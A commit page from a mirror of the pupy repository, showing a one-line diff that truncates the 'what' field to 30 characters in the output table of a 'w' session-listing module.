mirror of https://github.com/n1nj4sec/pupy.git
Truncate 'what' field in w output
This commit is contained in:
parent
8f64c765e0
commit
8ff4031047
|
@ -63,7 +63,7 @@ class WModule(PupyModule):
|
|||
object.update({
|
||||
'IDLE': colorize(str(timedelta(seconds=session['idle'])), color),
|
||||
'PID': colorize(str(session.get('pid', '')), color),
|
||||
'WHAT': colorize(what, color)
|
||||
'WHAT': colorize(what[:30]+'…' if len(what) > 30 else what, color)
|
||||
})
|
||||
|
||||
tablein.append(object)
|
||||
|
|
Loading…
Reference in New Issue